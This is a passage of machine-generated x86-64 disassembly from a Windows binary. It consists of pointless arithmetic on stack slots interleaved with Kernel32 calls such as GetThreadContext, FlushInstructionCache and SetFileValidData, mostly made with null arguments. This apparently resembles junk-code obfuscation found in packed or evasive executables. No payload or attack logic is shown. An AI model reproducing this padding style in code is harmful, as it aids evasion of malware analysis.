mov rcx, qword [rsp + 0x19cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd404], eax
mov eax, dword [rsp + 0xd6b4]
mov dword [rsp + 0xde40], eax
mov rax, qword [rsp + 0x1a650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3974]
add eax, ecx
mov word [rsp + 0x38b4], ax
movzx eax, byte [rsp + 0x96]
movzx ecx, byte [rsp + 0x2a1]
imul eax, ecx
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0x1a720]
mov ecx, dword [rsp + 0x92dc]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402ad82c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x19750]
mov eax, dword [rax]
mov dword [rsp + 0xde44], eax
mov rax, qword [rsp + 0x1a328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd760]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xda94], eax
mov eax, dword [rsp + 0x916c]
mov ecx, dword [rsp + 0xd7b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8b4], eax
movzx eax, byte [0x1402acc4a]
movzx ecx, byte [rsp + 0x7ff]
add eax, ecx
mov byte [rsp + 0x2fd], al
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3a20], ax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov dword [rsp + 0xde48], eax
mov rcx, qword [rsp + 0x19d88]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdbf4], eax
mov rax, qword [rsp + 0x1a6f0]
mov rcx, qword [rsp + 0x1aa30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd108], eax
lea rax, [rsp + 0xce98]
mov qword [rsp + 0x1ad28], rax
lea rax, [rsp + 0xdd2c]
mov qword [0x1402bf390], rax
mov rax, qword [rsp + 0x1aac0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdcc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd4d8], eax
movsx eax, byte [rsp + 0x7a6]
movsx ecx, byte [rsp + 0x7a0]
or eax, ecx
mov byte [rsp + 0x789], al
mov rax, qword [rsp + 0x1ab50]
movzx eax, word [rax]
mov word [rsp + 0x3b4c], ax
mov rax, qword [rsp + 0x1a840]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x81b], al
movzx eax, word [rsp + 0x2488]
movzx ecx, word [rsp + 0x35f0]
shl eax, cl
mov word [rsp + 0x2880], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x83c3
mov rcx, qword [rsp + 0x1a940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xde4c], eax
mov rax, qword [rsp + 0x1ad28]
mov rcx, qword [rsp + 0x19ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xddd4], eax
mov rax, qword [rsp + 0x1a200]
mov rcx, qword [rsp + 0x19c30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd19c], eax
movzx eax, byte [rsp + 0x838]
mov byte [rsp + 0x8b0], al
movzx eax, word [rsp + 0x20d0]
movzx ecx, word [rsp + 0x36e8]
sub eax, ecx
mov word [0x1402ad7b8], ax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc1a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa224], eax
mov eax, dword [rsp + 0xc278]
mov dword [rsp + 0xde50], eax
mov rax, qword [rsp + 0x1aad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd310]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x958c], eax
mov eax, dword [rsp + 0xd414]
mov dword [rsp + 0xde54], eax
movzx eax, byte [rsp + 0x82e]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7e2], al
mov edx, 0x52f660
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcd74], eax
movzx eax, word [rsp + 0x2608]
mov rcx, qword [0x1402bf4e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x35c4], ax
lea rax, [rsp + 0xd8c8]
mov qword [rsp + 0x1ad30], rax
mov rax, qword [rsp + 0x19e08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd320]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb54], eax
mov rax, qword [rsp + 0x1aa88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4dd]
sub eax, ecx
mov byte [0x1402acc67], al
lea rdx, [rsp + 0xde58]
mov rcx, qword [rsp + 0x1aa10]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xd8ec], eax
movsx eax, word [rsp + 0x37b0]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2ae4], ax
movzx eax, word [rsp + 0x3264]
movzx ecx, word [0x1402ad700]
add eax, ecx
mov word [rsp + 0x37fc], ax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e4]
or eax, ecx
mov byte [rsp + 0x81b], al
mov eax, dword [rsp + 0xa594]
mov dword [rsp + 0xde5c], eax
mov rax, qword [rsp + 0x1aca0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19b28]
mov qword [rsp + 0x1ad38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ad38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x809c], eax
mov eax, dword [rsp + 0xb944]
mov dword [rsp + 0xde60], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcf00]
shl eax, cl
mov dword [rsp + 0xd190], eax
mov rax, qword [rsp + 0x1a108]
mov ecx, dword [rsp + 0xb7e4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa280], eax
movzx eax, word [rsp + 0x364c]
movzx ecx, word [rsp + 0x1f40]
and eax, ecx
mov word [rsp + 0x31f4], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0b0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x1402acb47], al
mov eax, dword [rsp + 0xde0c]
mov ecx, dword [rsp + 0xbac0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xce98], eax
mov eax, dword [rsp + 0xdc04]
mov dword [rsp + 0xde64], eax
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [rsp + 0xd6ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb7e4], eax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
mov dword [rsp + 0xde68], eax
movzx eax, word [rsp + 0x2a04]
mov rcx, qword [rsp + 0x1a7c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36c8], ax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf4c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7e7], al
mov rax, qword [rsp + 0x1a7e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3614]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1aba8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7d0], al
mov eax, dword [rsp + 0x8544]
mov dword [0x1402bf388], eax
mov rax, qword [rsp + 0x1a738]
mov eax, dword [rax]
mov dword [rsp + 0xde6c], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x468]
imul eax, ecx
mov byte [rsp + 0x784], al
lea rcx, [rsp + 0x197a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x3858]
mov rcx, qword [0x1402bf688]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bf4], ax
mov rax, qword [rsp + 0x1a938]
mov eax, dword [rax]
mov dword [rsp + 0xde70], eax
mov r9d, 2
lea r8, [rsp + 0x1a880]
mov rdx, qword [rsp + 0x1ad40]
mov rcx, qword [rsp + 0x1a1c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xccf8], eax
mov eax, dword [rsp + 0xd6f0]
mov ecx, dword [rsp + 0xd128]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xdbf8], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xae80], eax
mov eax, dword [rsp + 0xd2b8]
mov rcx, qword [rsp + 0x19a48]
mov qword [rsp + 0x1ad48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ad48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d18]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1a0d8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a170]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402acc07], al
lea rax, [rsp + 0xcf78]
mov qword [rsp + 0x1ad50], rax
mov eax, dword [rsp + 0xcf1c]
mov rcx, qword [rsp + 0x19f50]
mov qword [rsp + 0x1ad58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ad58]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xce5c], eax
mov eax, dword [rsp + 0xd704]
mov dword [rsp + 0xde74], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf18], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd028]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd300], eax
lea rcx, [rsp + 0x19738]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x1a9f8]
mov rcx, qword [0x1402bf440]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd8dc], eax
mov rax, qword [rsp + 0x1a8a8]
movzx eax, word [rax]
mov word [rsp + 0x3b50], ax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x790]
add eax, ecx
mov byte [rsp + 0x7ba], al
mov rax, qword [0x1402bf500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5c9], al
mov edx, 0x1767
mov rcx, qword [rsp + 0x1a770]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xde78], eax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad8f4], ax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xda50], eax
mov rax, qword [rsp + 0x1a478]
mov ecx, dword [0x1402ad74c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa668], eax
lea rax, [rsp + 0xcdd0]
mov qword [rsp + 0x1ad60], rax
movzx eax, byte [rsp + 0x363]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x451], al
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
movzx ecx, word [0x1402ad764]
and eax, ecx
mov word [rsp + 0x35f0], ax
lea rax, [rsp + 0x91f4]
mov qword [rsp + 0x1ad68], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rcx, qword [rsp + 0x1ab08]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd48c], eax
mov eax, dword [rsp + 0xd25c]
mov ecx, dword [rsp + 0xd6e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdccc], eax
mov eax, dword [rsp + 0xdbfc]
mov dword [rsp + 0xde7c], eax
mov rax, qword [rsp + 0x1ac10]
mov rcx, qword [rsp + 0x19980]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xdc44], eax
movzx eax, word [rsp + 0x1d38]
movzx ecx, word [rsp + 0x2ad4]
cdq
idiv ecx
mov rcx, qword [0x1402bf458]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xde80], eax
movzx eax, byte [rsp + 0x82a]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x860], al
mov eax, dword [rsp + 0xd074]
mov dword [rsp + 0xde84], eax
mov eax, dword [rsp + 0xcea8]
mov ecx, dword [rsp + 0xd978]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd6d0], eax
mov rax, qword [0x1402bf6a8]
movzx eax, word [rax]
mov word [rsp + 0x3b54], ax
mov rax, qword [rsp + 0x1aa98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3e7]
shl eax, cl
mov byte [rsp + 0x682], al
movzx eax, byte [rsp + 0x22d]
movzx ecx, byte [rsp + 0x2b4]
sub eax, ecx
mov byte [rsp + 0x18a], al
mov rax, qword [0x1402bf600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3618]
and eax, ecx
mov word [rsp + 0x1888], ax
mov rax, qword [rsp + 0x1a5f0]
mov ecx, dword [rsp + 0xd908]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfe8], eax
mov rax, qword [rsp + 0x19a18]
mov rcx, qword [0x1402bf5c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad8f8], eax
lea rdx, [rsp + 0x2c0b0]
mov rcx, qword [rsp + 0x1a3f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd934], eax
mov eax, dword [rsp + 0xd4f0]
mov dword [rsp + 0xde88], eax
mov rcx, qword [rsp + 0x196c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xde8c], eax
mov rax, qword [rsp + 0x19cb8]
mov ecx, dword [rsp + 0xd98c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1ac08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1ad30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa48], eax
lea rax, [rsp + 0x3b08]
mov qword [rsp + 0x1ad70], rax
movzx eax, byte [rsp + 0x7fb]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1a9f0]
mov byte [rcx], al
lea rax, [rsp + 0xb4a4]
mov qword [rsp + 0x1ad78], rax
mov rax, qword [rsp + 0x1aa38]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaba8], eax
lea rcx, [rsp + 0x19970]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x1acb0]
mov eax, dword [rax]
mov dword [rsp + 0xde90], eax
mov rax, qword [rsp + 0x1a938]
mov ecx, dword [0x1402ad854]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad7bc], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a820]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x384c], ax
movzx eax, byte [rsp + 0xfd]
movzx ecx, byte [rsp + 0x3a1]
and eax, ecx
mov byte [rsp + 0xcc], al
movsx eax, word [rsp + 0x3a94]
movsx ecx, word [rsp + 0x1848]
xor eax, ecx
mov word [rsp + 0x2620], ax
movsx eax, byte [rsp + 0x790]
mov rcx, qword [rsp + 0x19ff0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x19bb0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a528]
mov eax, dword [rax]
mov dword [rsp + 0xde94], eax
mov rax, qword [rsp + 0x1ab58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad768]
shl eax, cl
mov dword [rsp + 0xd434], eax
mov rax, qword [rsp + 0x1a730]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78a]
sar eax, cl
mov byte [rsp + 0x831], al
movzx eax, word [0x1402ad650]
mov word [rsp + 0x3b58], ax
mov eax, dword [rsp + 0x80b4]
mov dword [0x1402bf384], eax
mov rax, qword [rsp + 0x1a760]
mov rcx, qword [rsp + 0x19ef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2c4], eax
mov rax, qword [0x1402bf3e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd438]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80f8], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd94c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5cc], eax
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3808]
add eax, ecx
mov word [rsp + 0x3a48], ax
movzx eax, byte [rsp + 0x7c4]
mov byte [rsp + 0x8b1], al
mov rax, qword [rsp + 0x1a268]
mov rcx, qword [rsp + 0x1a5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1acd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xda94]
mov dword [rsp + 0xde98], eax
mov eax, dword [rsp + 0xdd20]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa080], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xdcac], eax
mov rax, qword [rsp + 0x1a1e8]
mov ecx, dword [rsp + 0xd758]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad808], eax
mov rax, qword [rsp + 0x1ad78]
mov ecx, dword [0x1402ad838]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xba74], eax
movsx eax, word [rsp + 0x2f94]
movsx ecx, word [rsp + 0x35a4]
sub eax, ecx
mov word [rsp + 0x3904], ax
mov rax, qword [rsp + 0x1a158]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [0x1402bf570]
movzx eax, word [rax]
mov word [rsp + 0x3b5c], ax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x479], al
lea rdx, [rsp + 0x2c200]
mov rcx, qword [rsp + 0x1a970]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd2c], eax
mov eax, dword [rsp + 0xbac8]
mov dword [rsp + 0xde9c], eax
mov eax, dword [0x1402ad8f8]
movzx ecx, al
mov eax, dword [rsp + 0xdd34]
shl eax, cl
mov rcx, qword [rsp + 0x1a2f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x82d]
mov rcx, qword [rsp + 0x1a310]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7a7], al
movzx eax, word [rsp + 0x3af4]
movzx ecx, word [rsp + 0x188c]
cdq
idiv ecx
mov word [0x1402ad8fc], ax
lea rax, [rsp + 0xd724]
mov qword [rsp + 0x1ad80], rax
mov eax, dword [rsp + 0xd3ac]
movzx ecx, al
mov eax, dword [rsp + 0x9828]
sar eax, cl
mov dword [rsp + 0x8908], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov dword [rsp + 0xdea0], eax
mov rax, qword [rsp + 0x1a478]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8f54], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x38cc], ax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0x1a268]
mov rcx, qword [rsp + 0x19c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd37c], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov dword [rsp + 0xdea4], eax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad900], ax
mov rax, qword [rsp + 0x19e30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x1a2e8]
movzx eax, word [rax]
imul eax, eax, 0x8b3
mov word [rsp + 0x1eb0], ax
mov rax, qword [0x1402bf548]
movzx eax, byte [rax]
mov byte [rsp + 0x8b2], al
mov rax, qword [rsp + 0x1a4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcefc], eax
mov rax, qword [rsp + 0x1a528]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xdcb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7a0], eax
mov rax, qword [rsp + 0x1a210]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0fc], eax
mov rax, qword [rsp + 0x19f20]
mov eax, dword [rax]
mov dword [rsp + 0xdea8], eax
mov rax, qword [rsp + 0x1a760]
mov ecx, dword [0x1402ad71c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xdc28], eax
movzx eax, word [rsp + 0x3968]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36c8], ax
movzx eax, byte [rsp + 0x813]
movzx ecx, byte [rsp + 0x590]
xor eax, ecx
mov byte [0x1402acba3], al
mov edx, 0x1762
mov rcx, qword [rsp + 0x1abe0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xdeac], eax
mov rax, qword [rsp + 0x19ea8]
mov eax, dword [rax]
mov dword [rsp + 0xdeb0], eax
mov eax, dword [rsp + 0xd53c]
mov rcx, qword [rsp + 0x1a498]
mov qword [rsp + 0x1ad88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ad88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcdf0], eax
mov rax, qword [rsp + 0x1a518]
mov ecx, dword [rsp + 0xd108]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7f64], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rcx, qword [rsp + 0x1aa10]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd82c], eax
mov eax, dword [rsp + 0xd03c]
movzx ecx, al
mov eax, dword [rsp + 0x9320]
shr eax, cl
mov dword [rsp + 0xd460], eax
mov r9d, 2
lea r8, [rsp + 0x1aae8]
mov rdx, qword [rsp + 0x1a1e0]
mov rcx, qword [rsp + 0x19f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xdeb4], eax
movzx eax, byte [rsp + 0x80d]
imul eax, eax, 4
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
mov word [rsp + 0x3b60], ax
mov rcx, qword [rsp + 0x1a7d8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xdb34], eax
mov rax, qword [rsp + 0x1acd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x37e8]
and eax, ecx
mov word [rsp + 0x3a74], ax
movzx eax, byte [rsp + 0x7b1]
mov byte [rsp + 0x8b3], al
mov eax, dword [rsp + 0x9e28]
mov dword [0x1402bf380], eax
mov eax, dword [rsp + 0xa240]
mov ecx, dword [0x1402bf4d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9704], eax
movzx eax, byte [rsp + 0x7bd]
mov rcx, qword [rsp + 0x1a6b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7ff], al
movzx eax, word [rsp + 0x37a4]
mov rcx, qword [0x1402bf6d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1980], ax
mov rax, qword [rsp + 0x1ab88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd3e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd76c], eax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov dword [rsp + 0xdeb8], eax
mov eax, dword [rsp + 0x8e60]
mov ecx, dword [rsp + 0xdbdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf48], eax
lea rcx, [rsp + 0x2af50]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov dword [rsp + 0xdebc], eax
mov rax, qword [rsp + 0x1a688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85d]
imul eax, ecx
mov rcx, qword [rsp + 0x1a9f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2db4]
movzx ecx, word [rsp + 0x3b04]
sub eax, ecx
mov word [0x1402ad7fc], ax
mov rax, qword [rsp + 0x199f8]
mov rcx, qword [rsp + 0x19ba0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd59c], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov dword [rsp + 0xdec0], eax
mov rax, qword [rsp + 0x19e90]
mov rcx, qword [rsp + 0x1a9e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8fcc], eax
mov rax, qword [rsp + 0x19938]
mov rcx, qword [rsp + 0x19e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8ffc], eax
mov rax, qword [0x1402bf648]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1a0e8]
mov qword [rsp + 0x1ad90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ad90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x95c8], eax
mov rax, qword [rsp + 0x1a270]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x867]
xor eax, ecx
mov byte [rsp + 0x807], al
movzx eax, word [rsp + 0x39f4]
mov word [rsp + 0x3b64], ax
mov rax, qword [rsp + 0x19d68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a4c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x38bc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x1a0a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1ac60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402acc6a], al
mov rcx, qword [rsp + 0x1a970]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xd248], eax
mov eax, dword [rsp + 0xdab4]
mov dword [rsp + 0xdec4], eax
mov rax, qword [rsp + 0x1a420]
mov ecx, dword [0x1402bf478]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xc7a8], eax
movzx eax, byte [rsp + 0x849]
movzx ecx, byte [rsp + 0x4c2]
sub eax, ecx
mov byte [rsp + 0x859], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcd9c], eax
movzx eax, word [rsp + 0x3b48]
movzx ecx, word [rsp + 0x3984]
add eax, ecx
mov word [rsp + 0x2130], ax
mov eax, dword [rsp + 0xc878]
mov ecx, dword [rsp + 0xd6ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdb44], eax
mov rax, qword [rsp + 0x1a570]
mov eax, dword [rax]
mov dword [rsp + 0xdec8], eax
mov rax, qword [0x1402bf4b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0ac]
add ecx, eax
